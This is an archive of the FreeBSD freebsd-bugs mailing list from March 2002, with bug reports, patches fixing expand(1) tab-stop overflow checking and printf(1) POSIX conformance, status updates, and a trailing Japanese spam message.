(EST) (envelope-from tim) Message-Id: <200203061054.g26AsDX32399@descent.robbins.dropbear.id.au> Date: Wed, 6 Mar 2002 21:54:13 +1100 (EST) From: "Tim J. Robbins" Reply-To: "Tim J. Robbins" To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.113 Subject: bin/35590: [PATCH] Sloppy argument checking in expand(1) -> buffer overflow Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org >Number: 35590 >Category: bin >Synopsis: [PATCH] Sloppy argument checking in expand(1) -> buffer overflow >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Wed Mar 06 03:00:07 PST 2002 >Closed-Date: >Last-Modified: >Originator: Tim J. Robbins >Release: FreeBSD 4.5-STABLE i386 >Organization: >Environment: System: FreeBSD descent.robbins.dropbear.id.au 4.5-STABLE FreeBSD 4.5-STABLE #5: Sat Feb 16 18:56:18 EST 2002 tim@descent.robbins.dropbear.id.au:/usr/obj/usr/src/sys/DESCENT i386 >Description: expand(1) doesn't check that too many tab stops aren't specified with the -t option which leads to a buffer overflow. Not a security problem, but it is a bug and sloppy programming. >How-To-Repeat: tim@descent$ expand -t`jot 1000 | tr '\n' ','` Memory fault(coredump) >Fix: Index: expand/expand.c =================================================================== RCS file: /home/ncvs/src/usr.bin/expand/expand.c,v retrieving revision 1.8 diff -u -r1.8 expand.c --- expand/expand.c 2001/06/24 19:50:35 1.8 +++ expand/expand.c 2002/03/06 10:51:52 @@ -162,6 +162,8 @@ errx(1, "bad tab stop spec"); if (nstops > 0 && i <= tabstops[nstops-1]) errx(1, "bad tab stop spec"); + if (nstops == sizeof(tabstops) / sizeof(*tabstops)) + errx(1, "too many tab stops"); tabstops[nstops++] = i; if (*cp == 0) break; >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Mar 6 3: 2:49 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 51AB437B404; Wed, 6 Mar 2002 03:02:47 -0800 (PST) Received: (from maxim@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g26Awo230448; Wed, 6 Mar 2002 02:58:50 -0800 (PST) (envelope-from maxim) Date: Wed, 6 Mar 2002 02:58:50 -0800 (PST) From: Message-Id: <200203061058.g26Awo230448@freefall.freebsd.org> To: jamie@gritton.org, maxim@FreeBSD.org, freebsd-bugs@FreeBSD.org, maxim@FreeBSD.org Subject: Re: kern/34979: __semctl verifies semid against wrong value Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: __semctl verifies semid against wrong value State-Changed-From-To: open->analyzed State-Changed-By: maxim State-Changed-When: Wed Mar 6 02:57:33 PST 2002 State-Changed-Why: The fix is committed to -current. I will MFC it in one week. Responsible-Changed-From-To: freebsd-bugs->maxim Responsible-Changed-By: maxim Responsible-Changed-When: Wed Mar 6 02:57:33 PST 2002 Responsible-Changed-Why: I will MFC the fix. http://www.FreeBSD.org/cgi/query-pr.cgi?pr=34979 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Mar 6 3:22:50 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 26DE737B417; Wed, 6 Mar 2002 03:22:48 -0800 (PST) Received: (from maxim@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g26BLMi38002; Wed, 6 Mar 2002 03:21:22 -0800 (PST) (envelope-from maxim) Date: Wed, 6 Mar 2002 03:21:22 -0800 (PST) From: Message-Id: <200203061121.g26BLMi38002@freefall.freebsd.org> To: vita@fio.cz, maxim@FreeBSD.org, freebsd-bugs@FreeBSD.org, maxim@FreeBSD.org Subject: Re: bin/35076: sh builtin test command sets real uid to value of euid Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: sh builtin test command sets real uid to value of euid State-Changed-From-To: open->analyzed State-Changed-By: maxim State-Changed-When: Wed Mar 6 03:20:24 PST 2002 State-Changed-Why: The fix committed to -current. Responsible-Changed-From-To: freebsd-bugs->maxim Responsible-Changed-By: maxim Responsible-Changed-When: Wed Mar 6 03:20:24 PST 2002 Responsible-Changed-Why: I have a fix for -stable. http://www.FreeBSD.org/cgi/query-pr.cgi?pr=35076 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Mar 6 4: 7: 6 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 9E93C37B400; Wed, 6 Mar 2002 04:07:03 -0800 (PST) Received: (from ru@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g26C6eS55712; Wed, 6 Mar 2002 04:06:40 -0800 (PST) (envelope-from ru) Date: Wed, 6 Mar 2002 04:06:40 -0800 (PST) From: Message-Id: <200203061206.g26C6eS55712@freefall.freebsd.org> To: tim@robbins.dropbear.id.au, ru@FreeBSD.org, freebsd-bugs@FreeBSD.org, ru@FreeBSD.org Subject: Re: bin/35590: [PATCH] Sloppy argument checking in expand(1) -> buffer overflow Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: [PATCH] Sloppy argument checking in expand(1) -> buffer overflow State-Changed-From-To: open->closed State-Changed-By: ru State-Changed-When: Wed Mar 6 04:06:13 PST 2002 State-Changed-Why: Committed, thanks! Responsible-Changed-From-To: freebsd-bugs->ru Responsible-Changed-By: ru Responsible-Changed-When: Wed Mar 6 04:06:13 PST 2002 Responsible-Changed-Why: http://www.FreeBSD.org/cgi/query-pr.cgi?pr=35590 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Mar 6 5:22:51 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 8A66137B405; Wed, 6 Mar 2002 05:22:47 -0800 (PST) Received: (from brian@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g26DFYq72909; Wed, 6 Mar 2002 05:15:34 -0800 (PST) (envelope-from brian) Date: Wed, 6 Mar 2002 05:15:34 -0800 (PST) From: Message-Id: <200203061315.g26DFYq72909@freefall.freebsd.org> To: brian@FreeBSD.org, freebsd-bugs@FreeBSD.org, brian@FreeBSD.org Subject: Re: bin/35018: enhancing daily/460.status-mail-rejects Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: enhancing daily/460.status-mail-rejects Responsible-Changed-From-To: freebsd-bugs->brian Responsible-Changed-By: brian Responsible-Changed-When: Wed Mar 6 05:14:49 PST 2002 Responsible-Changed-Why: I've got some changes close to this in the pipeline http://www.FreeBSD.org/cgi/query-pr.cgi?pr=35018 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Mar 6 9: 2:53 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 24CBB37B400; Wed, 6 Mar 2002 09:02:48 -0800 (PST) Received: (from dwmalone@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g26Gsvm52577; Wed, 6 Mar 2002 08:54:57 -0800 (PST) (envelope-from dwmalone) Date: Wed, 6 Mar 2002 08:54:57 -0800 (PST) From: Message-Id: <200203061654.g26Gsvm52577@freefall.freebsd.org> To: robin@isometry.net, dwmalone@FreeBSD.org, freebsd-bugs@FreeBSD.org Subject: Re: kern/33397: "panic: unknown/reserved trap" with moderate network usage and recent -STABLE Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: "panic: unknown/reserved trap" with moderate network usage and recent -STABLE State-Changed-From-To: open->closed State-Changed-By: dwmalone State-Changed-When: Wed Mar 6 08:53:39 PST 2002 State-Changed-Why: Closed at submitteres request as machines has been dismantled. http://www.FreeBSD.org/cgi/query-pr.cgi?pr=33397 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Mar 6 11:40:14 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 392DA37B433 for ; Wed, 6 Mar 2002 11:40:01 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g26Je1c91932; Wed, 6 Mar 2002 11:40:01 -0800 (PST) (envelope-from gnats) Received: from wwweasel.geeksrus.net (wwweasel.geeksrus.net [64.8.210.226]) by hub.freebsd.org (Postfix) with ESMTP id C418837B404 for ; Wed, 6 Mar 2002 11:36:45 -0800 (PST) Received: (from alane@localhost) by wwweasel.geeksrus.net (8.11.6/8.11.6) id g26JWaW14852; Wed, 6 Mar 2002 14:32:36 -0500 (EST) (envelope-from alane) Message-Id: <200203061932.g26JWaW14852@wwweasel.geeksrus.net> Date: Wed, 6 Mar 2002 14:32:36 -0500 (EST) From: Alan Eldridge Reply-To: Alan Eldridge To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.113 Subject: bin/35598: In -CURRENT, arpa/inet.h & netinet/in.h each must include the other Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org >Number: 35598 >Category: bin >Synopsis: In -CURRENT, arpa/inet.h & netinet/in.h each must include the other >Confidential: no >Severity: critical >Priority: high >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Wed Mar 06 11:40:01 PST 2002 >Closed-Date: >Last-Modified: >Originator: Alan Eldridge >Release: FreeBSD 4.5-STABLE i386 >Organization: Geeksrus.NET >Environment: System: FreeBSD wwweasel.geeksrus.net 4.5-STABLE FreeBSD 4.5-STABLE #0: Fri Feb 8 21:25:34 EST 2002 root@wwweasel.geeksrus.net:/usr/obj/usr/src/sys/WWWEASEL i386 >Description: See also bin/35071. A recent modification to has the consequence that it must include . As per bin/35071, must include in order to provide struct definitions necessary for Single Unix Spec compliance, and required for some ports to compile. So now we have two headers that each require the other to be included. This situation is not acceptable. First, the most recent change to netinet/in.h cannot get MFC'd to -STABLE, or it will break any C++ code (like Qt) that includes it. Second, it is acceptable according to SUSv2 that arpa/inet.h includes netinet/in.h. That is what bin/35071 does. The reverse problem, where netinet/in.h references the __[hn]to[hn][sl]() functions, should not be solved by a mutual include. I suggest duplicating the prototypes for these functions from arpa/inet.h in netinet/in.h. I also suggest immediately backing out the most recent change to netinet/in.h in -CURRENT. I'll followup with patches later; I'm at work and don't have time to do it right now. >How-To-Repeat: >Fix: Patches will follow. >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Mar 6 12:40: 6 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 1D6D137B405 for ; Wed, 6 Mar 2002 12:40:01 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g26Ke1c04870; Wed, 6 Mar 2002 12:40:01 -0800 (PST) (envelope-from gnats) Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id A63B337B400 for ; Wed, 6 Mar 2002 12:33:19 -0800 (PST) Received: (from nobody@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g26KXJC03714; Wed, 6 Mar 2002 12:33:19 -0800 (PST) (envelope-from nobody) Message-Id: <200203062033.g26KXJC03714@freefall.freebsd.org> Date: Wed, 6 Mar 2002 12:33:19 -0800 (PST) From: Michael To: freebsd-gnats-submit@FreeBSD.org X-Send-Pr-Version: www-1.0 Subject: i386/35599: install Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org >Number: 35599 >Category: i386 >Synopsis: install >Confidential: no >Severity: non-critical >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Wed Mar 06 12:40:00 PST 2002 >Closed-Date: >Last-Modified: >Originator: Michael >Release: 4.5 >Organization: personnal >Environment: >Description: The problem is with the install. I have been using freeBSD since I purchased 4.2 I really feel comfortable with the install and mangement. I would still consider myself as a newbie. I just use the system as a desktop enviroment on my laptop. It is a toshiba 1605CD K-6 400MHz boosted to 192M RAM. The problem came along when I decided to reformat the drive and install the beta 4.5 release. It was running real smooth and had no complaints especially using KDE. Then when I went to port additional applications I was informed that there were no packages availble for that release anynore. So I downloaded the new ISO 4.5 with great anticpation. During the install I was getting error messages on the binary packages. No problem, I made a boot disc and started to install from the FTP site. At this point I was having seperate issues with my burner, and I figured which was a great idea anyway, too save and get a new one. But, this way as well I was unable to sucessfully install a functional 4.5 version. Some of the dependancies would not load correctly. So as a sanity check I re-installed 4.4 with great success. But after the beta run made me want 4.5 to work. The best I was able to do was have a minimal install, and Ive been trying my best to fit the pieces of the ports, its so tidiest. Any other similar problems reported? >How-To-Repeat: >Fix: >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Mar 6 14:30:11 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 4F95B37B416 for ; Wed, 6 Mar 2002 14:30:02 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g26MU2A49387; Wed, 6 Mar 2002 14:30:02 -0800 (PST) (envelope-from gnats) Date: Wed, 6 Mar 2002 14:30:02 -0800 (PST) Message-Id: <200203062230.g26MU2A49387@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: John-David Childs Subject: Re: misc/35310: SSHing with expired password does not bring up passwd anymore to change password Reply-To: John-David Childs Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org The following reply was made to PR misc/35310; it has been noted by GNATS. From: John-David Childs To: freebsd-gnats-submit@freebsd.org Cc: jacques@ataris.co.za Subject: Re: misc/35310: SSHing with expired password does not bring up passwd anymore to change password Date: 06 Mar 2002 15:28:16 -0700 --=-1F4HDUJDGzXlcrreY99Z Content-Type: text/plain Content-Transfer-Encoding: quoted-printable FWIW: I just tried this with FreeBSD 4.5-RELEASE, and sshd works as expected. (it brings up an "Old Password: " prompt). (However, the password/account expire field does NOT seem to work with ftpd). /etc/pam.conf: # OpenSSH with PAM support requires similar modules. The session one is # a bit strange, though... sshd auth sufficient pam_skey.so #sshd auth sufficient pam_kerberosIV.so =20 try_first_pass sshd auth required pam_unix.so =20 try_first_pass sshd account required pam_unix.so sshd password required pam_permit.so sshd session required pam_permit.so # "csshd" is for challenge-based authentication with sshd (TIS auth, etc.) csshd auth required pam_skey.so --=-1F4HDUJDGzXlcrreY99Z Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQA8hpgAJ7ReRH7ts78RAmDXAJ4w4oC9TH04Ri+SkhoJzntolCcQKwCgnvOn d5eCJK0gMMxufeNm31eFOKk= =zM1D -----END PGP SIGNATURE----- --=-1F4HDUJDGzXlcrreY99Z-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Mar 6 17:20: 8 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id A057937B419 for ; Wed, 6 Mar 2002 17:20:01 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g271K1d86518; Wed, 6 Mar 2002 17:20:01 -0800 (PST) (envelope-from gnats) Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 047FF37B41B for ; Wed, 6 Mar 2002 17:17:22 -0800 (PST) Received: (from nobody@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g271HMY86198; Wed, 6 Mar 2002 17:17:22 -0800 (PST) (envelope-from nobody) Message-Id: <200203070117.g271HMY86198@freefall.freebsd.org> Date: Wed, 6 Mar 2002 17:17:22 -0800 (PST) From: "G. Reed" To: freebsd-gnats-submit@FreeBSD.org X-Send-Pr-Version: www-1.0 Subject: i386/35615: ES1978 Maestro 2E sound card locks up machine Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org >Number: 35615 >Category: i386 >Synopsis: ES1978 Maestro 2E sound card locks up machine >Confidential: no >Severity: critical >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Wed Mar 06 17:20:01 PST 2002 >Closed-Date: >Last-Modified: >Originator: G. Reed >Release: 4.5 Release >Organization: >Environment: >Description: Whenever one attempts to get sound output, the machine locks up. When trying to use mpg123 to test, it will try to decode it without errors, but no sound will be put out and the system locks up. a sound test using 'cat /dev/urandom > /dev/audio' gets it to put out sound, but also locks up the machine completely. >How-To-Repeat: 1. Install FreeBSD 4.5 Release on a Toshiba Satellite 2105CDS laptop. 2. Add device pcm to the kernel config 3. 'cd /dev && sh MAKEDEV' 4. Recompile the kernel and reboot 5. 'cat /dev/urandom > /dev/audio' or attempt to play a sound file (I used mpg123) EXPECTED RESULT: There would be sound output ACTUAL RESULT: The machine tries to output sound without displaying errors, but locks up the machine completely >Fix: >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Mar 6 19:10:42 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id EDB7037B405 for ; Wed, 6 Mar 2002 19:10:00 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g273A0S20171; Wed, 6 Mar 2002 19:10:00 -0800 (PST) (envelope-from gnats) Received: from descent.robbins.dropbear.id.au (182.b.010.mel.iprimus.net.au [210.50.201.182]) by hub.freebsd.org (Postfix) with ESMTP id 179E237B400 for ; Wed, 6 Mar 2002 19:08:50 -0800 (PST) Received: (from tim@localhost) by descent.robbins.dropbear.id.au (8.11.6/8.11.6) id g2738jh33226; Thu, 7 Mar 2002 14:08:45 +1100 (EST) (envelope-from tim) Message-Id: <200203070308.g2738jh33226@descent.robbins.dropbear.id.au> Date: Thu, 7 Mar 2002 14:08:45 +1100 (EST) From: "Tim J. Robbins" Reply-To: "Tim J. Robbins" To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.113 Subject: bin/35616: Patch to bring printf(1) up to POSIX.2 (1992) conformance Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org >Number: 35616 >Category: bin >Synopsis: Patch to bring printf(1) up to POSIX.2 (1992) conformance >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: change-request >Submitter-Id: current-users >Arrival-Date: Wed Mar 06 19:10:00 PST 2002 >Closed-Date: >Last-Modified: >Originator: Tim J. Robbins >Release: FreeBSD 4.5-STABLE i386 >Organization: >Environment: System: FreeBSD descent.robbins.dropbear.id.au 4.5-STABLE FreeBSD 4.5-STABLE #5: Sat Feb 16 18:56:18 EST 2002 tim@descent.robbins.dropbear.id.au:/usr/obj/usr/src/sys/DESCENT i386 >Description: FreeBSD's printf(1) command is not POSIX.2 conformant. The missing features are: - printf shouldn't bail out if a conversion fails, it should just keep processing them. - \c escape to immediately stop output (similar to echo's \c) - \0NNN should be allowed for octal character escapes (instead of just \NNN) - %b conversion, which is like %s but interprets \n \t etc. inside the string is missing. I believe this patch also brings printf(1) up to P1003.1-2001 conformance. >How-To-Repeat: $ printf %d A 65 (should write 0 and warn that it expected a number) $ printf %b "hello\n" printf: illegal format character b (should be equivalent to printf "hello\n") $ printf 'hello\n\cworld\n' hello cworld (should be "hello" and a newline) If you are trying to reproduce these problems, make sure you use /usr/bin/printf - my shell, ksh93, has a printf builtin. >Fix: Index: printf/printf.1 =================================================================== RCS file: /home/ncvs/src/usr.bin/printf/printf.1,v retrieving revision 1.19 diff -u -r1.19 printf.1 --- printf/printf.1 2002/01/16 14:55:18 1.19 +++ printf/printf.1 2002/03/07 02:55:11 @@ -61,7 +61,8 @@ .Ar arguments after the first are treated as strings if the corresponding format is either -.Cm c +.Cm c , +.Cm b or .Cm s ; otherwise it is evaluated as a C constant, with the following extensions: @@ -70,8 +71,8 @@ .It A leading plus or minus sign is allowed. .It -If the leading character is a single or double quote, or not a digit, -plus, or minus sign, the value is the ASCII code of the next character. +If the leading character is a single or double quote the value is the ASCII +code of the next character. .El .Pp The format string is reused as often as necessary to satisfy the @@ -80,7 +81,8 @@ string. .Pp Character escape sequences are in backslash notation as defined in the -.St -ansiC . +.St -ansiC , +with extensions. The characters and their meanings are as follows: .Pp @@ -89,6 +91,8 @@ Write a character. .It Cm \eb Write a character. +.It Cm \ec +Ignore remaining characters in this string. .It Cm \ef Write a character. .It Cm \en @@ -104,6 +108,7 @@ .It Cm \e\e Write a backslash character. .It Cm \e Ns Ar num +.It Cm \e0 Ns Ar num Write an 8-bit character whose .Tn ASCII value is the 1-, 2-, or 3-digit @@ -186,7 +191,7 @@ as zero; .It Format: A character which indicates the type of format to use (one of -.Cm diouxXfwEgGcs ) . +.Cm diouxXfwEgGcsb ) . .El .Pp A field width or precision may be @@ -243,6 +248,11 @@ are printed until the end is reached or until the number of characters indicated by the precision specification is reached; however if the precision is 0 or missing, all characters in the string are printed. +.It Cm b +As for +.Cm s , +but interpret character escapes in backslash notation in the string +.Ar argument . .It Cm \&% Print a `%'; no argument is used. .El @@ -256,8 +266,20 @@ the actual width. .Sh DIAGNOSTICS .Ex -std +.Sh COMPATIBILITY +The traditional +.Bx +behavior of converting arguments of numeric formats not beginning +with a digit to the ASCII code of the first characer is not supported. .Sh SEE ALSO +.Xr echo 1 , .Xr printf 3 +.Sh STANDARDS +The +.Nm +command is expected to be compatible with the +.St -p1003.2 +specification. .Sh HISTORY The .Nm Index: printf/printf.c =================================================================== RCS file: /home/ncvs/src/usr.bin/printf/printf.c,v retrieving revision 1.18 diff -u -r1.18 printf.c --- printf/printf.c 2001/12/03 21:17:45 1.18 +++ printf/printf.c 2002/03/07 02:55:12 @@ -89,7 +89,7 @@ } static int asciicode __P((void)); -static void escape __P((char *)); +static int escape __P((char *)); static int getchr __P((void)); static double getdouble __P((void)); static int getint __P((int *)); @@ -209,6 +209,19 @@ nextch = *++fmt; *fmt = '\0'; switch(convch) { + case 'b': { + char *p; + int getout; + + if ((p = strdup(getstr())) == NULL) + err(1, NULL); + getout = escape(p); + PF("%s", p); + free(p); + if (getout) + return (0); + break; + } case 'c': { char p; @@ -227,11 +240,10 @@ quad_t p; char *f; - if ((f = mklong(start, convch)) == NULL) - return (1); - if (getquad(&p)) - return (1); - PF(f, p); + if ((f = mklong(start, convch)) != NULL && + !getquad(&p)) { + PF(f, p); + } break; } case 'e': case 'E': case 'f': case 'g': case 'G': { @@ -280,7 +292,7 @@ return (copy); } -static void +static int escape(fmt) register char *fmt; { @@ -296,7 +308,7 @@ case '\0': /* EOS, user error */ *store = '\\'; *++store = '\0'; - return; + return (0); case '\\': /* backslash */ case '\'': /* single quote */ *store = *fmt; @@ -307,6 +319,9 @@ case 'b': /* backspace */ *store = '\b'; break; + case 'c': + *store = '\0'; + return (1); case 'f': /* form-feed */ *store = '\f'; break; @@ -325,7 +340,7 @@ /* octal constant */ case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': - for (c = 3, value = 0; + for (c = *fmt == '0' ? 4 : 3, value = 0; c-- && *fmt >= '0' && *fmt <= '7'; ++fmt) { value <<= 3; value += *fmt - '0'; @@ -339,6 +354,7 @@ } } *store = '\0'; + return (0); } static int @@ -357,7 +373,6 @@ return (*gargv++); } -static const char *Number = "+-.0123456789"; static int getint(ip) int *ip; @@ -366,10 +381,8 @@ if (getquad(&val)) return (1); - if (val < INT_MIN || val > INT_MAX) { + if (val < INT_MIN || val > INT_MAX) warnx3("%s: %s", *gargv, strerror(ERANGE)); - return (1); - } *ip = (int)val; return (0); } @@ -385,39 +398,51 @@ *lp = 0; return (0); } - if (strchr(Number, **gargv)) { - errno = 0; - val = strtoq(*gargv, &ep, 0); - if (*ep != '\0') { - warnx2("%s: illegal number", *gargv, NULL); - return (1); - } - if (errno == ERANGE) - if (val == QUAD_MAX) { - warnx3("%s: %s", *gargv, strerror(ERANGE)); - return (1); - } - if (val == QUAD_MIN) { - warnx3("%s: %s", *gargv, strerror(ERANGE)); - return (1); - } - *lp = val; + if (**gargv == '"' || **gargv == '\'') { + *lp = (quad_t)asciicode(); ++gargv; return (0); } - *lp = (long)asciicode(); + + errno = 0; + val = strtoq(*gargv, &ep, 0); + if (ep == *gargv) + warnx2("%s: expected numeric value", *gargv, NULL); + else if (*ep != '\0') + warnx2("%s: not completely converted", *gargv, NULL); + if (errno == ERANGE) + warnx3("%s: %s", *gargv, strerror(ERANGE)); + *lp = val; + ++gargv; return (0); } static double getdouble() { + double val; + char *ep; + if (!*gargv) return ((double)0); - if (strchr(Number, **gargv)) - return (atof(*gargv++)); - return ((double)asciicode()); + + if (**gargv == '"' || **gargv == '\'') { + val = (double)asciicode(); + ++gargv; + return (val); + } + + errno = 0; + val = strtod(*gargv, &ep); + if (ep == *gargv) + warnx2("%s: expected numeric value", *gargv, NULL); + else if (*ep != '\0') + warnx2("%s: not completely converted", *gargv, NULL); + if (errno == ERANGE) + warnx3("%s: %s", *gargv, strerror(ERANGE)); + ++gargv; + return (val); } static int >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Mar 6 20:39:53 2002 Delivered-To: freebsd-bugs@freebsd.org Received: from ss14.estore.co.jp (ss14.estore.co.jp [210.239.44.49]) by hub.freebsd.org (Postfix) with SMTP id 9811437B404 for ; Wed, 6 Mar 2002 20:39:48 -0800 (PST) Received: (qmail 27028 invoked by alias); 7 Mar 2002 13:39:46 +0900 Received: (qmail 26562 invoked from network); 7 Mar 2002 13:39:21 +0900 Received: from unknown (HELO localhost) (218.217.3.232) by 0 with SMTP; 7 Mar 2002 13:39:21 +0900 From: sales@likefinance.com To: freebsd-bugs@FreeBSD.ORG Subject: =?ISO-2022-JP?B?GyRCOS05cCEqISpBNDlxPzY5fk07O3E8QjtcQ2YhKhsoQg==?= =?ISO-2022-JP?B?GyRCISobKEI=?= Date: Fri, 07 Mar 2003 13:35:43 +0900 X-Sender: opt0459-sales@mail.likefinance.com Message-Id: <20030307044044160.00000.0.opt0459-sales@ap.mail.likefinance.com> X-Mailer: Douhou@Mail version 1.0.0.1/1.0.0.1 Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-2022-JP Content-Transfer-Encoding: 7bit Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org $B9-9p!*(B $BFMA3$9$_$^$;$s!#(B $B5^$J=PHq$G$*:$$j$NJ}$*NO$K$J$j$^$9!#(B $B%i%$%/%U%!%$%J%s%9!!ET!J(B1$B!K(B22433 